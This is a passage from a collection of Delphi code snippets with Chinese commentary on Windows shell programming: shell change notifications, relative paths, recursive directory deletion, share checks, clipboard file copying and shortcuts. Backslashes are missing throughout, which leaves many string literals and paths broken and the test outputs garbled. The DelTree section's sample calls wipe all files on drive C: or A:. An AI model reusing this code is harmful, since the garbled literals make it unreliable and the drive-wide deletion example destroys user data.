
end;

procedure TShellNotification.DoDriveAddGui(Path: String);

begin

if Assigned( FOnDriveAddGui ) then

FOnDriveAdd(Self, Path);

end;

procedure TShellNotification.DoDriveRemove(Path: String);

begin

if Assigned( FOnDriveRemove ) then

FOnDriveRemove(Self, Path);

end;

procedure TShellNotification.DoFolderRemove(Path: String);

begin

if Assigned(FOnFolderRemove) then

FOnFolderRemove( Self, Path );

end;

procedure TShellNotification.DoMediaInsert(Path: String);

begin

if Assigned( FOnMediaInsert ) then

FOnMediaInsert(Self, Path);

end;

procedure TShellNotification.DoMediaRemove(Path: String);

begin

if Assigned(FOnMediaRemove) then

FOnMediaRemove(Self, Path);

end;

procedure TShellNotification.DoNetShare(Path: String);

begin

if Assigned(FOnNetShare) then

FOnNetShare(Self, Path);

end;

procedure TShellNotification.DoNetUnShare(Path: String);

begin

if Assigned(FOnNetUnShare) then

FOnNetUnShare(Self, Path);

end;

procedure TShellNotification.DoRenameFolder(Path1, Path2: String);

begin

if Assigned( FOnRenameFolder ) then

FOnRenameFolder(Self, Path1, Path2);

end;

procedure TShellNotification.DoRenameItem(Path1, Path2: String);

begin

if Assigned( FOnItemRename ) then

FonItemRename(Self, Path1, Path2);

end;

procedure TShellNotification.DoServerDisconnect(Path: String);

begin

if Assigned( FOnServerDisconnect ) then

FOnServerDisconnect(Self, Path);

end;

function TShellNotification.GetActive: Boolean;

begin

Result := (NotifyHandle <> 0) and (fActive);

end;

function TShellNotification.PathFromPidl(Pidl: PItemIDList): String;

begin

SetLength(Result, Max_Path);

if not SHGetPathFromIDList(Pidl, PChar(Result)) then Result := '';

if pos(#0, Result) > 0 then

SetLength(Result, pos(#0, Result));

end;

procedure TShellNotification.SetActive(const Value: Boolean);

begin

if (Value <> fActive) then

begin

fActive := Value;

if fActive then ShellNotifyRegister else ShellNotifyUnregister;

end;

end;

procedure TShellNotification.SetPath(const Value: String);

begin

//if fPath <> Value then

//begin

fPath := Value;

// ShellNotifyRegister;

//end;

end;

procedure TShellNotification.SetWatch(const Value: Boolean);

begin

//if fWatch <> Value then

//begin

fWatch := Value;

// ShellNotifyRegister;

//end;

end;

procedure TShellNotification.SetWatchEvents(

const Value: TNotificationEvents);

begin

//if fWatchEvents <> Value then

//begin

fWatchEvents := Value;

// ShellNotifyRegister;

//end;

end;

procedure TShellNotification.ShellNotifyRegister;

var

NotifyRecord: PNOTIFYREGISTER;

Flags: DWORD;

Pidl: PItemIDList;

Attributes: ULONG;

begin

if not (csDesigning in ComponentState) and

not (csLoading in ComponentState) then

begin

SHILCreatefromPath( PChar(fPath), Addr(Pidl), Attributes);

NotifyRecord^.pidlPath := Pidl;

NotifyRecord^.bWatchSubtree := fWatch;

if NotifyHandle <> 0 then ShellNotifyUnregister;

Flags := 0;

if neAssociationChange in FWatchEvents then

Flags := Flags or SHCNE_ASSOCCHANGED;

if neAttributesChange in FWatchEvents then

Flags := Flags or SHCNE_ATTRIBUTES;

if neFileChange in FWatchEvents then

Flags := Flags or SHCNE_UPDATEITEM;

if neFileCreate in FWatchEvents then

Flags := Flags or SHCNE_CREATE;

if neFileDelete in FWatchEvents then

Flags := Flags or SHCNE_DELETE;

if neFileRename in FWatchEvents then

Flags := Flags or SHCNE_RENAMEITEM;

if neDriveAdd in FWatchEvents then

Flags := Flags or SHCNE_DRIVEADD;

if neDriveRemove in FWatchEvents then

Flags := Flags or SHCNE_DRIVEREMOVED;

if neShellDriveAdd in FWatchEvents then

Flags := Flags or SHCNE_DRIVEADDGUI;

if neDriveSpaceChange in FWatchEvents then

Flags := Flags or SHCNE_FREESPACE;

if neMediaInsert in FWatchEvents then

Flags := Flags or SHCNE_MEDIAINSERTED;

if neMediaRemove in FWatchEvents then

Flags := Flags or SHCNE_MEDIAREMOVED;

if neFolderCreate in FWatchEvents then

Flags := Flags or SHCNE_MKDIR;

if neFolderDelete in FWatchEvents then

Flags := Flags or SHCNE_RMDIR;

if neFolderRename in FWatchEvents then

Flags := Flags or SHCNE_RENAMEFOLDER;

if neFolderUpdate in FWatchEvents then

Flags := Flags or SHCNE_UPDATEDIR;

if neNetShare in FWatchEvents then

Flags := Flags or SHCNE_NETSHARE;

if neNetUnShare in FWatchEvents then

Flags := Flags or SHCNE_NETUNSHARE;

if neServerDisconnect in FWatchEvents then

Flags := Flags or SHCNE_SERVERDISCONNECT;

if neImageListChange in FWatchEvents then

Flags := Flags or SHCNE_UPDATEIMAGE;

NotifyHandle := SHChangeNotifyRegister(Handle,

SHCNF_ACCEPT_INTERRUPTS or SHCNF_ACCEPT_NON_INTERRUPTS,

Flags, SNM_SHELLNOTIFICATION, 1, NotifyRecord);

end;

end;

procedure TShellNotification.ShellNotifyUnregister;

begin

if NotifyHandle <> 0 then

SHChangeNotifyDeregister(NotifyHandle);

end;

procedure TShellNotification.WndProc(var Message: TMessage);

type

TPIDLLIST = record

pidlist : array[1..2] of PITEMIDLIST;

end;

PIDARRAY = ^TPIDLLIST;

var

Path1 : string;

Path2 : string;

ptr : PIDARRAY;

repeated : boolean;

event : longint;

begin

case Message.Msg of

SNM_SHELLNOTIFICATION:

begin

event := Message.LParam and ($7FFFFFFF);

Ptr := PIDARRAY(Message.WParam);

Path1 := PathFromPidl( Ptr^.pidlist[1] );

Path2 := PathFromPidl( Ptr^.pidList[2] );

repeated := (PrevEvent = event)

and (uppercase(prevpath1) = uppercase(Path1))

and (uppercase(prevpath2) = uppercase(Path2));

if Repeated then exit;

PrevEvent := Message.Msg;

prevPath1 := Path1;

prevPath2 := Path2;

case event of

SHCNE_ASSOCCHANGED : DoAssociationChange;

SHCNE_ATTRIBUTES : DoAttributesChange( Path1, Path2);

SHCNE_CREATE : DoCreateFile(Path1);

SHCNE_DELETE : DoDeleteFile(Path1);

SHCNE_DRIVEADD : DoDriveAdd(Path1);

SHCNE_DRIVEADDGUI : DoDriveAddGui(path1);

SHCNE_DRIVEREMOVED : DoDriveRemove(Path1);

SHCNE_MEDIAINSERTED : DoMediaInsert(Path1);

SHCNE_MEDIAREMOVED : DoMediaRemove(Path1);

SHCNE_MKDIR : DoDirCreate(Path1);

SHCNE_NETSHARE : DoNetShare(Path1);

SHCNE_NETUNSHARE : DoNetUnShare(Path1);

SHCNE_RENAMEFOLDER : DoRenameFolder(Path1, Path2);

SHCNE_RENAMEITEM : DoRenameItem(Path1, Path2);

SHCNE_RMDIR : DoFolderRemove(Path1);

SHCNE_SERVERDISCONNECT : DoServerDisconnect(Path);

SHCNE_UPDATEDIR : DoDirUpdate(Path);

SHCNE_UPDATEIMAGE : ;

SHCNE_UPDATEITEM : ;

end;//Case event of

end;//SNM_SHELLNOTIFICATION

end; //case

end;

procedure Register;

begin

RegisterComponents('System', [TShellNotification]);

end;

end.


显示长文件名为..\之类的文件名
请使用Filectrl单元的MinimizeName函数就可以了。


取相对路径
：aimingoo, 时间：1998-9-10 8:47:56, ID：1637

uses SysUtils;

//取右子串

Function RightSub(s:string; Len:Integer) : string;

begin

Delete(s,1,Length(s)-Len);

Result := s;

end;

//交换字串

procedure swapStr(var s1,s2 : string);

var tempstr : string;

begin

tempstr := s1;

s1 := s2;

s2 := tempstr;

end;

// 取两个目录的相对路径,注意串尾不能是'字符!

Function GetRelativePath(Source,Dest : string) : string;

Function GetPathComp(s1,s2:string) : integer;

//比较两路径字符串头部相同串的函数

begin

if length(s1) > Length(s2) then swapStr(s1,s2);

Result := pos(s1,s2);

while Result = 0 do

begin

if s1 = '' then exit;

s1 := ExtractFileDir(s1);

Result := pos(s1,s2);

end;

if Result <> 0 then Result := Length(s1);

if Result = 3 then Result := 2;

//修正因ExtractFileDir()处理'c:时产生的错误.

End;

Function GetRoot(s : ShortString) : string;

//取Dest的相对根路径的函数

var i : integer;

begin

Result := '';

for i := 1 to Length(s) do

if s[i] = ' then Result := Result + '..;

if Result = '' then Result := '.;

//如果不想处理成"."的路径格式，可去掉本行

end;

var RelativRoot, RelativSub : string;

HeadNum : integer;

begin

Source := UpperCase(Source); Dest := UpperCase(Dest);

//比较两路径字符串头部相同串

HeadNum := GetPathComp(Source,Dest);

//取Dest的相对根路径

RelativRoot := GetRoot(RightSub(Dest,Length(Dest) - HeadNum));

//取Source的相对子路径

RelativSub := RightSub(Source,Length(Source) - HeadNum - 1);

//返回

Result := RelativRoot + RelativSub;

end;

begin

/// TEST!!!

Writeln(GetRelativePath('c:','c:')); // result = '.'

Writeln(GetRelativePath('c:','c:12')); // result = '....

Writeln(GetRelativePath('c:','c:')); // result = '..'

Writeln(GetRelativePath('c:','c:'));

// result = '....'

end.


DelTree
uses FileCtrl;

procedure DelTree(const Directory: TFileName);

var

DrivesPathsBuff: array[0..1024] of char;

DrivesPaths: string;

len: longword;

ShortPath: array[0..MAX_PATH] of char;

dir: TFileName;

procedure rDelTree(const Directory: TFileName);

var

SearchRec: TSearchRec;

Attributes: LongWord;

ShortName, FullName: TFileName;

pname: pchar;

begin

if FindFirst(Directory + '*', faAnyFile and not faVolumeID,

SearchRec) = 0 then begin

try

repeat // 检测所有的文件和目录

if SearchRec.FindData.cAlternateFileName[0] = #0 then

ShortName := SearchRec.Name

else

ShortName := SearchRec.FindData.cAlternateFileName;

FullName := Directory + ShortName;

if (SearchRec.Attr and faDirectory) <> 0 then begin

// 是一个目录

if (ShortName <> '.') and (ShortName <> '..') then

rDelTree(FullName + ');

end else begin

// 是一个文件

pname := PChar(FullName);

Attributes := GetFileAttributes(pname);

if Attributes = $FFFFFFFF then

raise EInOutError.Create(SysErrorMessage(GetLastError));

if (Attributes and FILE_ATTRIBUTE_READONLY) <> 0 then

SetFileAttributes(pname, Attributes and not

FILE_ATTRIBUTE_READONLY);

if Windows.DeleteFile(pname) = False then

raise EInOutError.Create(SysErrorMessage(GetLastError));

end;

until FindNext(SearchRec) <> 0;

except

FindClose(SearchRec);

raise;

end;

FindClose(SearchRec);

end;

if Pos(#0 + Directory + #0, DrivesPaths) = 0 then begin

// 如果不是根目录，就删除

pname := PChar(Directory);

Attributes := GetFileAttributes(pname);

if Attributes = $FFFFFFFF then

raise EInOutError.Create(SysErrorMessage(GetLastError));

if (Attributes and FILE_ATTRIBUTE_READONLY) <> 0 then

SetFileAttributes(pname, Attributes and not

FILE_ATTRIBUTE_READONLY);

if Windows.RemoveDirectory(pname) = False then begin

raise EInOutError.Create(SysErrorMessage(GetLastError));

end;

end;

end;

// ----------------

begin

DrivesPathsBuff[0] := #0;

len := GetLogicalDriveStrings(1022, @DrivesPathsBuff[1]);

if len = 0 then

raise EInOutError.Create(SysErrorMessage(GetLastError));

SetString(DrivesPaths, DrivesPathsBuff, len + 1);

DrivesPaths := Uppercase(DrivesPaths);

len := GetShortPathName(PChar(Directory), ShortPath, MAX_PATH);

if len = 0 then

raise EInOutError.Create(SysErrorMessage(GetLastError));

SetString(dir, ShortPath, len);

dir := Uppercase(dir);

rDelTree(IncludeTrailingBackslash(dir));

end;

Sample calls

------------

删除 C:　目录

DelTree('C:');

使用方法：

DelTree('A:'); // or DelTree('A:);


如何判断一目录是否共享
happyjoe (尘土飞扬) :

Shell编程---如何判断一目录是否共享？

下面函数要额外引用 ShlObj, ComObj, ActiveX 单元。

function TForm1.IfFolderShared(FullFolderPath: string): Boolean;

//将TStrRet类型转换为字符串

function StrRetToString(PIDL: PItemIDList; StrRet: TStrRet; Flag:string=''): string;

var

P: PChar;

begin

case StrRet.uType of

STRRET_CSTR:

SetString(Result, StrRet.cStr, lStrLen(StrRet.cStr));

STRRET_OFFSET:

begin

P := @PIDL.mkid.abID[StrRet.uOffset - SizeOf(PIDL.mkid.cb)];

SetString(Result, P, PIDL.mkid.cb - StrRet.uOffset);

end;

STRRET_WSTR:

if Assigned(StrRet.pOleStr) then

Result := StrRet.pOleStr

else

Result := '';

end;

{ This is a hack bug fix to get around Windows Shell Controls returning

spurious "?"s in date/time detail fields }

if (Length(Result) > 1) and (Result[1] = '?') and (Result[2] in ['0'..'9']) then

Result := StringReplace(Result,'?','',[rfReplaceAll]);

end;

//返回Desktop的IShellFolder接口

function DesktopShellFolder: IShellFolder;

begin

OleCheck(SHGetDesktopFolder(Result));

end;

//返回IDList去掉第一个ItemID后的IDList

function NextPIDL(IDList: PItemIDList): PItemIDList;

begin

Result := IDList;

Inc(PChar(Result), IDList^.mkid.cb);

end;

//返回IDList的长度

function GetPIDLSize(IDList: PItemIDList): Integer;

begin

Result := 0;

if Assigned(IDList) then

begin

Result := SizeOf(IDList^.mkid.cb);

while IDList^.mkid.cb <> 0 do

begin

Result := Result + IDList^.mkid.cb;

IDList := NextPIDL(IDList);

end;

end;

end;

//取得IDList中ItemID的个数

function GetItemCount(IDList: PItemIDList): Integer;

begin

Result := 0;

while IDList^.mkid.cb <> 0 do

begin

Inc(Result);

IDList := NextPIDL(IDList);

end;

end;

//创建一ItemIDList对象

function CreatePIDL(Size: Integer): PItemIDList;

var

Malloc: IMalloc;

begin

OleCheck(SHGetMalloc(Malloc));

Result := Malloc.Alloc(Size);

if Assigned(Result) then

FillChar(Result^, Size, 0);

end;

//返回IDList的一个内存拷贝

function CopyPIDL(IDList: PItemIDList): PItemIDList;

var

Size: Integer;

begin

Size := GetPIDLSize(IDList);

Result := CreatePIDL(Size);

if Assigned(Result) then

CopyMemory(Result, IDList, Size);

end;

//返回AbsoluteID最后一个ItemID，即此对象相对于父对象的ItemID

function RelativeFromAbsolute(AbsoluteID: PItemIDList): PItemIDList;

begin

Result := AbsoluteID;

while GetItemCount(Result) > 1 do

Result := NextPIDL(Result);

Result := CopyPIDL(Result);

end;

//将IDList的最后一个ItemID去掉，即得到IDList的父对象的ItemID

procedure StripLastID(IDList: PItemIDList);

var

MarkerID: PItemIDList;

begin

MarkerID := IDList;

if Assigned(IDList) then

begin

while IDList.mkid.cb <> 0 do

begin

MarkerID := IDList;

IDList := NextPIDL(IDList);

end;

MarkerID.mkid.cb := 0;

end;

end;

//判断返回值Flag中是否包含属性Element

function IsElement(Element, Flag: Integer): Boolean;

begin

Result := Element and Flag <> 0;

end;

var

P: Pointer;

NumChars, Flags: LongWord;

ID, NewPIDL, ParentPIDL: PItemIDList;

ParentShellFolder: IShellFolder;

begin

Result := false;

NumChars := Length(FullFolderPath);

P := StringToOleStr(FullFolderPath);

//取出该目录的绝对ItemIDList

OleCheck(DesktopShellFolder.ParseDisplayName(0, nil, P, NumChars, NewPIDL, Flags));

if NewPIDL <> nil then

begin

ParentPIDL := CopyPIDL(NewPIDL);

StripLastID(ParentPIDL); //得到该目录上一级目录的ItemIDList

ID := RelativeFromAbsolute(NewPIDL); //得到该目录相对于上一级目录的ItemIDList

//取得该目录上一级目录的IShellFolder接口

OleCheck(DesktopShellFolder.BindToObject(ParentPIDL, nil, IID_IShellFolder,

Pointer(ParentShellFolder)));

if ParentShellFolder <> nil then

begin

Flags := SFGAO_SHARE;

//取得该目录的属性

OleCheck(ParentShellFolder.GetAttributesOf(1, ID, Flags));

if IsElement(SFGAO_SHARE, Flags) then Result := true;

end;

end;

end;

此函数的用法：

//传进的参数为一目录的全路经

if IfFolderShared('C:Documents') then showmessage('shared')

else showmessage('not shared');

另外，有一函数 SHBindToParent 可以直接取得此目录的上一级目录的IShellFolder接口和此目录相对于上一级目录的ItemIDList，这样一来就省去了上面多个对ItemIDList进行操作的函数（这些函数从delphi6的TShellTreeView所在的单元拷贝而来），但是此函数为新加入的API，只在win2000、winxp和winme下可以使用（这么有用的函数微软怎么就没早点想出来呢）.

欢迎大家来讨论


打开网上邻居、回收站等特殊文件夹
有一个变态的方法：

首先创建一个ShortCut，然后运行这个ShortCut即可。

procedure RunNetHood;

var

anobj:IUnknown;

shlink:IShellLink;

pFile:IPersistFile;

pidl:pItemIDList;

begin

anobj:=CreateComObject(CLSID_SHELLLINK);

SHGetSpecialFolderLocation( application.Handle , CSIDL_NETWORK, pidl);

shlink:=anobj as IShellLink;

pFile:=anobj as IPersistFile;

shlink.SetIDList(pidl);

shlink.SetShowCmd(sw_show);

pFile.Save('C:.lnk',false);

ShellExecute(0,'open','C:.lnk',nil,nil,sw_show);

DeleteFile('C:.lnk');

end;

请参看打开回收站的方法，那个方法比较好！

*******************************************

下面是一个比较好的方法：

请参看函数OpenSpecialFolder，其中，FolderID可以为

CSIDL_BITBUCKET

CSIDL_CONTROLS

CSIDL_DESKTOP

CSIDL_DESKTOPDIRECTORY

.........

uses

ActiveX, ShlObj, ShellApi;

procedure OpenSpecialFolder(FolderID: integer; AHandle: HWND = 0);

procedure FreePidl(pidl: PItemIDList);

var

allocator : IMalloc;

begin

if Succeeded(shlobj.SHGetMalloc(allocator)) then

begin

allocator.Free(pidl);

{$IFDEF VER90}

allocator.Release;

{$ENDIF}

end;

end;

var

exInfo : TShellExecuteInfo;

begin

// initialize all fields to 0

FillChar(exInfo, SizeOf(exInfo), 0);

with exInfo do

begin

cbSize := SizeOf(exInfo); // required!

fMask := SEE_MASK_FLAG_DDEWAIT or SEE_MASK_IDLIST;

Wnd := AHandle;

nShow := SW_SHOWNORMAL;

lpVerb := 'open';

ShGetSpecialFolderLocation(AHandle, FolderID, PItemIDLIst(lpIDList));

end;

ShellExecuteEx(@exInfo);

FreePIDL(exinfo.lpIDList);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

OpenSpecialFolder(CSIDL_STARTUP);

end;


文件或目录转换成TreeView
下面的这个函数就可以了：

procedure DirToTreeView(Tree: TTreeView; Directory: string; Root: TTreeNode; IncludeFiles:

Boolean);

var

SearchRec : TSearchRec;

ItemTemp : TTreeNode;

begin

with Tree.Items do

try

BeginUpdate;

if Directory[Length(Directory)] <> ' then Directory := Directory + ';

if FindFirst(Directory + '*.*', faDirectory, SearchRec) = 0 then

begin

repeat

if (SearchRec.Attr and faDirectory = faDirectory) and (SearchRec.Name[1] <> '.') then

begin

if (SearchRec.Attr and faDirectory > 0) then

Root := AddChild(Root, SearchRec.Name);

ItemTemp := Root.Parent;

DirToTreeView(Tree, Directory + SearchRec.Name, Root, IncludeFiles);

Root := ItemTemp;

end

else if IncludeFiles then

if SearchRec.Name[1] <> '.' then

AddChild(Root, SearchRec.Name);

until FindNext(SearchRec) <> 0;

FindClose(SearchRec);

end;

finally

EndUpdate;

end;

end;


选择目录对话框
function SelectDirectory(handle: hwnd; const Caption: string; const Root: WideString; out Directory: string): Boolean;

var

WindowList : Pointer;

BrowseInfo : TBrowseInfo;

Buffer : PChar;

RootItemIDList, ItemIDList: PItemIDList;

ShellMalloc : IMalloc;

IDesktopFolder : IShellFolder;

Eaten, Flags : LongWord;

begin

Result := False;

Directory := '';

FillChar(BrowseInfo, SizeOf(BrowseInfo), 0);

if (ShGetMalloc(ShellMalloc) = S_OK) and (ShellMalloc <> nil) then

begin

Buffer := ShellMalloc.Alloc(MAX_PATH);

try

RootItemIDList := nil;

if Root <> '' then

begin

SHGetDesktopFolder(IDesktopFolder);

IDesktopFolder.ParseDisplayName(Handle, nil, POleStr(Root), Eaten, RootItemIDList, Flags);

end;

with BrowseInfo do

begin

hwndOwner := Handle;

pidlRoot := RootItemIDList;

pszDisplayName := Buffer;

lpszTitle := PChar(Caption);

ulFlags := BIF_RETURNONLYFSDIRS;

lpfn := nil;

end;

WindowList := DisableTaskWindows(0);

try

ItemIDList := ShBrowseForFolder(BrowseInfo);

finally

EnableTaskWindows(WindowList);

end;

Result := ItemIDList <> nil;

if Result then

begin

ShGetPathFromIDList(ItemIDList, Buffer);

ShellMalloc.Free(ItemIDList);

Directory := Buffer;

if Directory[Length(Directory)] <> '\' then

Directory := Directory + '\';

end;

finally

ShellMalloc.Free(Buffer);

end;

end;

end;


无法删除某个目录
有的时候，你明明删除了某个目录下所有文件，也没有使用某个目录，这个目录下面也没有打开文件，可是就是无法删除这个目录？这是怎么回事儿呢？实际上这是因为当前目录的原因！当前目录是受保护的，特别是在NT/2000/XP下。原因是某个程序甚至是你自己的程序设定了这个目录为当前目录（不一定要显式调用chdir函数等等，很多情况都有可能改变当前目录，例如OpenDialog打开一个文件，使用FindFirst，SearchPath等等都有可能！），因此出现这种情况，请在删除目录之前，用Chdir改变一下当前目录即可。如果你熟悉DOS，就不用我多说了。另外说一句，上面也只是可能情况而已，不过我估计你的原因就是这个，因此在删除目录之前，改变一下当前目录如果你的目录在D:下面， 那么就使用ChDir('D:)；如果是C:那么就使用ChDir('C:);或者用SetCurrentDirectory()也可以，其他类推。


根据扩展名取得相关图标
function GetIconFromExt(ext:string;var filename:string;var index:integer):boolean;

var

reg:tregistry;

src:string;

begin

reg:=tregistry.create;

reg.RootKey:=hkey_classes_root;

result:=reg.OpenKey('.'+ext,false);

if result then

begin

src:=reg.ReadString('');

reg.CloseKey;

if reg.OpenKey(src+'\defaulticon',false) then

begin

src:=reg.ReadString('');

if pos('%1',src)<>0 then exit;

filename:=copy(src,0,pos(',',src)-1);

index:=strtoint((trim(copy(src,pos(',',src)+1,length(src)-pos(',',src)))));

end;

end;

reg.Free;

end;


文件关联
procedure registerfiletype(ft,key,desc,icon,prg:string);

//ft:文件名后缀，如可以为'.tst'或'afile.tst'

//key:在注册表中的键值，要唯一

//desc:关联程序的描述

//icon:缺省的程序图标，如Application.ExeName+',1'，可以缺省

//prg:对应的应用程序

var myreg : treginifile;

ct : integer;

begin

// 取文件的后缀

ct := pos('.',ft);

while ct > 0 do begin

delete(ft,ct,1);

ct := pos('.',ft);

end;

if (ft = '') or (prg = '') then exit; //判断后缀及应用程序是否有效

ft := '.'+ft;

myreg := treginifile.create('');

try

myreg.rootkey := hkey_classes_root; // 根应该为HKEY_CLASSES_ROOT

if key = '' then key := copy(ft,2,maxint)+'_auto_file';

// 如果没给出键值，则自动创建一个

myreg.writestring(ft,'',key); // 写入描述的键值

myreg.writestring(key,'',desc); // 写入描述

if icon <> '' then

myreg.writestring(key+'','',icon);

// 写入缺省图标

myreg.writestring(key+'','',prg+' "%1"');

//写入相关联的应用程序

finally

myreg.free;

end;

end;

调用例子：

Example:

registerFileType('.tst',

'testfile',

'测试关联文件',

Application.ExeName+',1',

Application.ExeName);

原理说明：

程序关联的键值放在注册表根为HKEY_CLASSES_ROOT下面。实现文件关联要写入两

个键值：后缀键值和描述键值（可用术语用的不对）

如实现将.tst与程序tstfile.exe相关联

其中后缀键值形为： .tst myprogram

key值为文件后缀，取值为对于key的一个描述

描述键值形为： myprogram 文件描述

其中还有相应的子键，如缺省的程序图标，形为：

myprogram '', 'tstfile.exe,1'

打开命令，形为：

myprogram'', 'tstfile.exe "%1"'

写入完这两个键值后就可以实现文件与应用程序相关联了。


如何将文件拷贝到剪贴板
怎样判断当前剪贴板中的内容为文件，如何将指定文件（不是文件内容）拷贝到剪贴板中。请问各位大侠：怎样判断当前剪贴板中的内容为文件，如何将指定文件（不是文件内容）拷贝到剪贴板中。

int GetClipboardFormatName(

UINT format, // clipboard format to retrieve

LPTSTR lpszFormatName, // address of buffer for name

int cchMaxCount // length of name string in characters

);

如果format=CF_HDROP就是文件了

HANDLE SetClipboardData(

UINT uFormat, // clipboard format

HANDLE hMem // data handle

);

menxin的方案是可行的.Delphi定义了两个格式:CF_PICTURE和CF_COMPONENT.

用户可以定义自己的格式.不过因为Formats是WORD格式,所以系统中只能有

16种格式.打开ClipBrd单元,可以查到.

CF_PICTURE := RegisterClipboardFormat('Delphi Picture');

CF_COMPONENT := RegisterClipboardFormat('Delphi Component');

你添加:

CF_MYFILE := RegisterClipboardFormat(' My File Format');

剪贴板操作:

打开;

清空;

SetFormatData(CF_TEXT) --->文件名;

SetFormatData(CF_MYFILE) --->文件内容

关闭;

如果你只对文件名感兴趣,那只是一个文本格式.取出内容,用FileExists查询

是否存在即可.

registerClipboardFormat函数登记新的剪贴板格式

格式的值在OXC000和0XFFF范围

IsClipboardFormatAvailable函数判断剪贴板是否包含指定格式数据

格式可用返回非零值

windows是有定义：

可以用cf_Hdrop;

uses shlobj,activex,clipbrd;

procedure TForm1.Button1Click(Sender: TObject);

var

FE:TFormatEtc;

Medium: TStgMedium;

FileName:String;

dropfiles:PDropFiles;

pFile:PChar;

begin

FileName:='c:1.bmp';

FE.cfFormat := CF_HDROP;

FE.dwAspect := DVASPECT_CONTENT;

FE.tymed := TYMED_HGLOBAL;

Medium.hGlobal := GlobalAlloc(GMEM_SHARE or GMEM_ZEROINIT, SizeOf(TDropFiles)+length(FileName)+1);

if Medium.hGlobal<>0 then begin

Medium.tymed := TYMED_HGLOBAL;

dropfiles := GlobalLock(Medium.hGlobal);

try

dropfiles^.pfiles := SizeOf(TDropFiles);

dropfiles^.fwide := False;

longint(pFile) := longint(dropfiles)+SizeOf(TDropFiles);

StrPCopy(pFile,FileName);

Inc(pFile, Length(FileName)+1);

pFile^ := #0;

finally

GlobalUnlock(Medium.hGlobal);

end;

Clipboard.SetAsHandle(CF_HDROP,Medium.hGlobal);

end;

end;

参照dragdrop做了一个，还不错.

上面这个例子把filename这个文件放在了clipboard上


复制任意文件或文件夹到剪贴板
uses

ShlObj, ClipBrd;

procedure CopyFilesToClipboard(FileList: string);

var

DropFiles: PDropFiles;

hGlobal: THandle;

iLen: Integer;

begin

iLen := Length(FileList) + 2;

FileList := FileList + #0#0;

hGlobal := GlobalAlloc(GMEM_SHARE or GMEM_MOVEABLE or GMEM_ZEROINIT,

SizeOf(TDropFiles) + iLen);

if (hGlobal = 0) then raise Exception.Create('Could not allocate memory.');

begin

DropFiles := GlobalLock(hGlobal);

DropFiles^.pFiles := SizeOf(TDropFiles);

Move(FileList[1], (PChar(DropFiles) + SizeOf(TDropFiles))^, iLen);

GlobalUnlock(hGlobal);

Clipboard.SetAsHandle(CF_HDROP, hGlobal);

end;

end;

// Example:

procedure TForm1.Button1Click(Sender: TObject);

begin

CopyFilesToClipboard('C:.Txt'#0'C:.Bat');

end;

{

Separate the files with a #0.

}

********************************

沈前卫的回答:

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls,ShlObj;

type

TForm1 = class(TForm)

Button1: TButton;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

const FileName:string='c:.txt';

var

DataHandle: THandle;

DataPointer: PDROPFILES;

begin

DataHandle := GlobalAlloc(GMEM_DDESHARE or GMEM_MOVEABLE,SizeOf(DROPFILES)+2+Length(FileName));

DataPointer := PDROPFILES(GlobalLock(DataHandle));

FillChar(DataPointer^,SizeOf(DROPFILES)+2+Length(FileName),0);

DataPointer.pFiles:=SizeOf(DROPFILES);

DataPointer.pt:=Point(0,0);

DataPointer.fNC:=False;

DataPointer.fWide:=False;

Move(FileName[1],Pointer(Integer(DataPointer)+SizeOf(DROPFILES))^,Length(FileName));

GlobalUnlock(DataHandle);

OpenClipboard(Form1.Handle);

EmptyClipboard;

SetClipboardData(CF_HDROP, DataHandle);

CloseClipboard;

end;

end.

***************************

在Windows的资源管理器中，选中一个或多个文件，在文件上单击鼠标右键，在弹出菜单中选复制。再切换到另外的目录，单击鼠标右键，点粘贴。就这样执行了一次文件的拷贝操作，那么Windows在拷贝过程中执行了什么操作，是否将整个文件拷贝到剪贴板上了呢？当然没有。实际上，Windows只是将一个文件结构拷贝到了剪贴版，这个结构如下：

     tDropFile＋文件1文件名＋vbNullChar＋文件2文件名＋vbNullChar……＋文件N文件名＋vbNullChar，其中tDropFile是一个DROPFILES结构，这个结构在Windows API中有定义。在粘贴文件时，利用API函数 DragQueryFile 就可以获得拷贝到剪贴板的文件全路径名，然后就可以根据获得的文件名执行文件拷贝函数，实现对文件的粘贴操作。

那么如何从剪切板或取复制的文件内容呢？请参看下面的例子：

/// Author：Peter Below

uses

clipbrd, shellapi;

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);

var

f: THandle;

buffer: array [0..MAX_PATH] of Char;

i, numFiles: Integer;

begin

if not Clipboard.HasFormat(CF_HDROP) then Exit;

Clipboard.Open;

try

f := Clipboard.GetAsHandle(CF_HDROP);

if f <> 0 then

begin

numFiles := DragQueryFile(f, $FFFFFFFF, nil, 0);

memo1.Clear;

for i := 0 to numfiles - 1 do

begin

buffer[0] := #0;

DragQueryFile(f, i, buffer, SizeOf(buffer));

memo1.Lines.Add(buffer);

end;

end;

finally

Clipboard.Close;

end;

end;


建立快捷方式
const

CCH_MAXNAME=255;

LNK_RUN_MIN=7;

LNK_RUN_MAX=3;

LNK_RUN_NORMAL=1;

type LINK_FILE_INFO=record

FileName:array[0..MAX_PATH] of char;

WorkDirectory:array[0..MAX_PATH] of char;

IconLocation:array[0..MAX_PATH] of char;

IconIndex:integer;

Arguments:array[0..MAX_PATH] of char;

Description:array[0..CCH_MAXNAME] of char;

ItemIDList:PItemIDList;

RelativePath:array[0..255] of char;

ShowState:integer;

HotKey:word;

end;

function CreateLinkFile(const info:LINK_FILE_INFO;const DestFileName:string=''):boolean;

var

anobj:IUnknown;

shlink:IShellLink;

pFile:IPersistFile;

wFileName:widestring;

begin

wFileName:=destfilename;

anobj:=CreateComObject(CLSID_SHELLLINK);

shlink:=anobj as IShellLink;

pFile:=anobj as IPersistFile;

shlink.SetPath(info.FileName);

shlink.SetWorkingDirectory(info.WorkDirectory);

shlink.SetDescription(info.Description);

shlink.SetArguments(info.Arguments);

shlink.SetIconLocation(info.IconLocation,info.IconIndex);

// shlink.SetIDList(info.ItemIDList);

shlink.SetHotkey(info.HotKey);

shlink.SetShowCmd(info.ShowState);

shlink.SetRelativePath(info.RelativePath,0);

if DestFileName='' then

wFileName:=ChangeFileExt(info.FileName,'lnk');

result:=succeeded(pFile.Save(pwchar(wFileName),false));

end;


取得LNK文件的目的文件的信息
function LinkFileInfo(const lnkFileName:string;var info:LINK_FILE_INFO;const bSet:boolean):boolean;

var

